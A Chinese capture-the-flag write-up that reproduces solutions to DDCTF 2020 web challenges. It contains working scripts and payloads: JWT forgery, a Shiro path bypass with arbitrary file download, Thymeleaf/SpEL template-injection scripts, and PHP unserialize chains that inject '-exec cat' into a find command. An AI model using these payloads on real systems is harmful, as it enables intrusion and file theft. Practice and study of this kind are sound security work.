趁环境还没关,赶紧复现
 
0x01 web 签到题 利用c-jwt-cracker可以爆破出jwt密钥,
然后伪造jwt-token
下载到client。
1 export http_ptoxy=127.0.0.1:8080 
 
burp抓包
 
逆向client,web狗不会逆向,看wp说是用的 HMAC sha256加密,密钥是DDCTFWithYou。
验证:
赛后看wp知道是spel,参考l3yx 的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import  requestsimport  reimport  timeimport  urllib.parsedef  getSignature (command,time) :    command=urllib.parse.quote(command)     headers = {         "Host" : "1024tools.com" ,         "Content-Type" : "application/x-www-form-urlencoded"      }     url = "https://1024tools.com/hmac"      data="query=" +command+"|" +time+"&algo=sha256&key=DDCTFWithYou"      res = requests.post(url=url,headers=headers,data=data)     r=re.compile('B:(HMAC(.*?)<textarea class="form-control" id="result_base64" rows="2" spellcheck="false" name="result" cols="50">(.*?)</textarea>' ,re.DOTALL)     return  r.search(res.text).group(2 ) def  sendCommand (command,time) :    signature = getSignature(command,time)     headers = {         "Host" : "117.51.136.197" ,         "Content-Type" : "application/json"      }     url = "http://117.51.136.197/server/command"      data = '{"signature":"' +signature+'","command":"' +command+'","timestamp":' +time+'}'      res = requests.post(url=url,headers=headers,data=data)     return  res.text command = "T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'))"  command = "new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()"  print(sendCommand(command,str(int(time.time())))) 
 
 
 
0x02 卡片商店 可以借卡片,如果借2的61次方会溢出,导致还两张即可,等40秒,就会换完,可以兑换礼物。
1 2 3 4 5 6 7 8 9 某礼物商店正在做活动,100张卡片可兑换礼物,你能帮小明换到他想要的礼物吗?规则如下: 1. 截止2020-09-04 08:55:34之前,每20秒会免费获得1张卡片,且可进行礼物兑换。 2. 可随时向朋友互借卡片。 小明目前手上有4611686018427387706张卡片。 恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12,你能看懂它的含义吗? 
 
看cookie,通过搜索可以知道为go的Gorilla session
利用这个工具 伪造cookie,
0x03 easy web 截包可以发现rememberme,可以确定是shiro
然后用xray,常见的密钥也没有跑出来,看wp后知道是shiro的权限绕过漏洞 ,用/;/可以绕过认证。
存在任意文件下载漏洞。
/34867ccfda85234382210155be32525c/;/web/img?img=WEB-INF/web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <!DOCTYPE web-app  PUBLIC          "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"          "http://java.sun.com/dtd/web-app_2_3.dtd"  > <web-app  xmlns ="http://java.sun.com/xml/ns/javaee"  xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"           xsi:schemaLocation ="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"           version ="3.0"  metadata-complete ="false" >   <display-name > Archetype Created Web Application</display-name >    <context-param >      <param-name > contextConfigLocation</param-name >      <param-value >        classpath:spring-core.xml     </param-value >    </context-param >    <listener >      <listener-class > org.springframework.web.util.WebAppRootListener</listener-class >    </listener >    <listener >      <listener-class > org.springframework.web.util.IntrospectorCleanupListener</listener-class >    </listener >    <listener >      <listener-class > org.springframework.web.context.ContextLoaderListener</listener-class >    </listener >    <servlet >      <servlet-name > springmvc</servlet-name >      <servlet-class > org.springframework.web.servlet.DispatcherServlet</servlet-class >      <init-param >        <param-name > contextConfigLocation</param-name >        <param-value > classpath:spring-web.xml</param-value >      </init-param >    </servlet >    <servlet-mapping >      <servlet-name > springmvc</servlet-name >      <url-pattern > /</url-pattern >    </servlet-mapping >    <filter >      <filter-name > encodingFilter</filter-name >      <filter-class > org.springframework.web.filter.CharacterEncodingFilter</filter-class >      <init-param >        <param-name > encoding</param-name >        <param-value > UTF-8</param-value >      </init-param >      <init-param >        <param-name > forceEncoding</param-name >        <param-value > true</param-value >      </init-param >    </filter >    <filter-mapping >      <filter-name > encodingFilter</filter-name >      <url-pattern > /*</url-pattern >    </filter-mapping >    <filter >      <filter-name > safeFilter</filter-name >      <filter-class > com.ctf.util.SafeFilter</filter-class >    </filter >    <filter-mapping >      <filter-name > safeFilter</filter-name >      <url-pattern > /*</url-pattern >    </filter-mapping >    <filter >      <filter-name > shiroFilter</filter-name >      <filter-class > org.springframework.web.filter.DelegatingFilterProxy</filter-class >      <init-param >        <param-name > targetFilterLifecycle</param-name >        <param-value > true</param-value >      </init-param >    </filter >    <filter-mapping >      <filter-name > shiroFilter</filter-name >      <url-pattern > /*</url-pattern >    </filter-mapping >    <error-page >      <error-code > 500</error-code >      <location > /error.jsp</location >    </error-page >    <error-page >      <error-code > 404</error-code >      <location > /hacker.jsp</location >    </error-page >    <error-page >      <error-code > 403</error-code >      <location > /hacker.jsp</location >    </error-page >  </web-app > 
 
WEB-INF/classes/spring-web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?xml version="1.0" encoding="UTF-8"?> <beans  xmlns ="http://www.springframework.org/schema/beans"         xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"         xmlns:context ="http://www.springframework.org/schema/context"         xmlns:mvc ="http://www.springframework.org/schema/mvc"         xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd" >          <context:component-scan  base-package ="com.ctf.controller" />      <context:component-scan  base-package ="com.ctf.repository" />      <context:component-scan  base-package ="com.ctf.service" />           <mvc:annotation-driven >          <mvc:message-converters >              <bean  class ="org.springframework.http.converter.StringHttpMessageConverter" >                  <constructor-arg  value ="UTF-8" />              </bean >          </mvc:message-converters >      </mvc:annotation-driven >      <mvc:default-servlet-handler />  </beans > 
 
WEB-INF/classes/spring-core.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?xml version="1.0" encoding="UTF-8"?> <beans  xmlns ="http://www.springframework.org/schema/beans"         xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"         xmlns:p ="http://www.springframework.org/schema/p"         xmlns:aop ="http://www.springframework.org/schema/aop"         xmlns:context ="http://www.springframework.org/schema/context"         xmlns:jee ="http://www.springframework.org/schema/jee"         xmlns:tx ="http://www.springframework.org/schema/tx"         xsi:schemaLocation ="http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.0.xsd          http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd         http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd         http://www.springframework.org/schema/jee http://www.springframework.org/schema/jee/spring-jee-4.0.xsd         http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-4.0.xsd" >    <import  resource ="classpath:spring-shiro.xml"  />           <aop:aspectj-autoproxy > </aop:aspectj-autoproxy >           <tx:annotation-driven />      <bean  id ="viewResolver"  class ="org.thymeleaf.spring4.view.ThymeleafViewResolver" >          <property  name ="order"  value ="1" />          <property  name ="characterEncoding"  value ="UTF-8" />          <property  name ="templateEngine"  ref ="templateEngine" />      </bean >      <bean  id ="templateEngine"  class ="org.thymeleaf.spring4.SpringTemplateEngine" >          <property  name ="templateResolver"  ref ="templateResolver"  />      </bean >      <bean  id ="templateResolver"  class ="org.thymeleaf.spring4.templateresolver.SpringResourceTemplateResolver" >          <property  name ="prefix"  value ="/WEB-INF/templates/" />          <property  name ="suffix"  value =".html" />          <property  name ="templateMode"  value ="HTML5" />          <property  name ="cacheable"  value ="false" />          <property  name ="characterEncoding"   value ="UTF-8"  />      </bean >      <context:annotation-config  />      <context:component-scan  base-package ="com.ctf" >          <context:include-filter  type ="annotation"  expression ="org.springframework.stereotype.Service"  />          <context:include-filter  type ="annotation"  expression ="org.springframework.stereotype.Repository"  />      </context:component-scan >       </beans > 
 
WEB-INF/classes/com/ctf/util/SafeFilter.class
WEB-INF/classes/com/ctf/controller/IndexController.class
WEB-INF/classes/com/ctf/controller/AuthController.class
 
WEB-INF/classes/com/ctf/auth/ShiroRealm.class
 
参考l3yx的wp脚本,考点是thymeleaf模板注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import  requestsimport  urllib.parseimport  reheaders = {     "Host" : "116.85.37.131" ,     "Cache-Control" : "max-age=0" ,     "Upgrade-Insecure-Requests" : "1" ,     "Origin" : "http://116.85.37.131" ,     "Content-Type" : "application/x-www-form-urlencoded" ,     "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36" ,     "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" ,     "Referer" : "http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/index" ,     "Accept-Encoding" : "gzip, deflate" ,     "Accept-Language" : "zh-CN,zh;q=0.9" ,     "Connection" : "close" , } def  render (payload) :    print("[+] submit..." )     url = "http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/customize"      data = "content=" +urllib.parse.quote_plus(payload)     res = requests.post(url = url,headers = headers,data = data)     if  re.search("Success! Please fetch .(.*)? !" ,res.text) is  None :         print(res.text)         exit()     else :         return  re.search("Success! Please fetch .(.*)? !" ,res.text).group(1 ) def  getResult (url) :    print("[+] getResult..." )     url = "http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef" +url     res = requests.get(url,headers=headers)     return  res.text def  getString (string) :    strc=""      for  i in  string:         strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+" .format(str(ord(i)))     return  strc[:-1 ] def  getClass (className) :    return  "T(com.ctf.model.User).getClassLoader().loadClass(" +getString(className)+")"  poc = "${" +getClass("java.util.Arrays" )+".toString(" +    getClass("java.nio.file.Files" )+".list(" +getClass("java.nio.file.Paths" )+".get(" +getString("/" )+")).toArray()"      +")}"  poc = "<input th:value=" +poc+">"  print(getResult(render(poc))) poc = "${" +getClass("java.util.Arrays" )+".toString(" +    getClass("java.nio.file.Files" )+".lines(" +getClass("java.nio.file.Paths" )+".get(" +getString("/flag_is_here" )+")).toArray()"      +")}"  poc = "<input th:value=" +poc+">"  print(getResult(render(poc))) 
 
 
参考decade 的解法,是利用1.class.forname()获取类,用String类动态生成字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import  requestsimport  redef  encode (message) :    payload = 'T(Character).toString(%s)'  % ord(message[0 ])     for  ch in  message[1 :]:         payload +='.concat(T(Character).toString(%s))'  % ord(ch)     return  payload url = "http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/customize"  pattern = re.compile("render\/(.*?) !" ) message ='1.class. forName({Files}).list(1.class. forName({Paths}).get({path})).toArray()[19]' .format(Files=encode("java.nio.file.Files" ), Paths=encode("java.nio.file.Paths" ), path=encode("/" )) res1 = requests.post(url,data = {"content" :"[[${" +message+"}]]" }) render = pattern.search(res1.text) renderurl = requests.get("http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/render/{}" .format(render.group(1 ))) message = '1.class. forName({Files}).lines(1.class. forName({Paths}).get({path})).toArray()[0]' .format(Files=encode("java.nio.file.Files" ), Paths=encode("java.nio.file.Paths" ), path=encode("/flag_is_here" )) res2 = requests.post(url,data = {"content" :"[[${" +message+"}]]" }) render = pattern.search(res2.text) renderurl = requests.get("http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/render/{}" .format(render.group(1 ))) print(renderurl.text) 
 
 
0x04 overwrite me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <?php error_reporting(0 ); class  MyClass  {    var  $kw0ng;     var  $flag;     public  function  __wakeup ()       {        $this ->kw0ng = 1 ;     }     public  function  get_flag ()       {        return  system('find /FlagNeverFall '  . escapeshellcmd($this ->flag));     } } class  Prompter  {       protected   $hint;     public  function  execute ($value)       {        include ($value);     }     public  function  __invoke ()       {        if (preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i" , $this ->hint))         {             die ("Don't Do That!" );         }         $this ->execute($this ->hint);     } } class  Display  {    public  $contents;     public  $page;     public  function  __construct ($file='/hint/hint.php' )       {        $this ->contents = $file;         echo  "Welcome to DDCTF 2020, Have fun!<br/><br/>" ;     }     public  function  __toString ()       {        return  $this ->contents();     }     public  function  __wakeup ()       {        $this ->page->contents = "POP me! I can give you some hints!" ;         unset ($this ->page->cont);     } } class  Repeater  {    private  $cont;     public  $content;     public  function  __construct ()       {        $this ->content = array ();     }     public  function  __unset ($key)       {        $func = $this ->content;         var_dump($func);         return  $func();     } } class  Info  {    function  __construct ()       {        eval ('phpinfo();' );     } } $show = new  Display(); $bullet = $_GET['bullet' ]; if (!isset ($bullet)){     highlight_file(__FILE__ );     die ("Give Me Something!" ); }else  if ($bullet == 'phpinfo' ) {     $infos = new  Info(); }else  {     $obstacle = new  stdClass;     $mc = new  MyClass();     $mc->flag = "MyClass's flag said, Overwrite Me If You Can!" ;     @unserialize($bullet);     echo  $show->contents;     echo  $mc->get_flag(); } 
 
可以看phpinfo()对应的php版本为php5.6.10,正好考察的是前期的https://paper.seebug.org/1267/ ,GMP的漏洞。
访问hint.php,得到前半段flag。
1 Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i'll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead! 
 
然后参考那篇文章和hackone的payload。
漏洞利用需要有__wakeup()函数,题目中给了一个MyClass包含一个__wakeup()函数,但是其对应的kw0ng变量值为1,只能通过反序列化修改$show(第一个实例化的Display类)的成员。所以需要利用DateInterval内置类的__wakeup()函数,本地测试如下:
1 2 3 4 5 6 7 <?php $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}' ; $inner = 's:1:"1";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}' ; $inner = 's:1:"1";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:7:"MyClass":1:{s:5:"kw0ng";R:2;}}' ; $inner = 's:1:"3";a:3:{s:5:"kw0ng";R:1;s:4:"flag";s:43:"-exec cat /HackersForever/suffix_flag.php ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}' ; $exploit = 'a:1:{i:0;C:3:"GMP":' .strlen($inner).':{' .$inner.'}}' ; 
 
可以看到是$show的contents被修改了。
1 $bullet = 'a:1:{i:0;C:3:"GMP":84:{s:1:"1";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}'; 
 
 
将s对应的值更改为3,
1 $bullet = 'a:1:{i:0;C:3:"GMP":84:{s:1:"3";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}'; 
 
 
这样就把$mc的contents值修改了,所以可以利用这里修改$mc的flag值,执行命令。
1 http://117.51.137.166/EOf9uk3nSsVFK1LQ.php?bullet=a:1:{i:0;C:3:"GMP":132:{s:1:"3";a:3:{s:5:"kw0ng";R:1;s:4:"flag";s:43:"-exec cat /HackersForever/suffix_flag.php ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}} 
 
另外还可以不利用GMP的漏洞,直接用反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(-1 ); class  MyClass  {    var  $kw0ng;     var  $flag; } class  Display  {    public  $contents;     public  $page; } class  Repeater  {    private  $cont;     public  $content; } $my = new  MyClass(); $my->flag = '-exec cat /FlagNeverFall/suffix_flag.php {} ;' ; $rep = new  Repeater(); $rep->content = [$my,'get_flag' ]; $dis = new  Display(); $dis->page = $rep; echo  urlencode(serialize($dis));
 
1 ?bullet=O%3A7%3A%22Display%22%3A2%3A%7Bs%3A8%3A%22contents%22%3BN%3Bs%3A4%3A%22page%22%3BO%3A8%3A%22Repeater%22%3A2%3A%7Bs%3A7%3A%22content%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A7%3A%22MyClass%22%3A2%3A%7Bs%3A5%3A%22kw0ng%22%3BN%3Bs%3A4%3A%22flag%22%3Bs%3A45%3A%22-exec+cat+%2FFlagNeverFall%2Fsuffix_flag.php+%7B%7D+%3B%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7Ds%3A14%3A%22%00Repeater%00cont%22%3BN%3B%7D%7D 
 
感觉这个反序列化是用来包含hint.php的。
参考
https://www.anquanke.com/post/id/216694 
https://l3yx.github.io/2020/09/04/DDCTF-2020-WEB-WriteUp/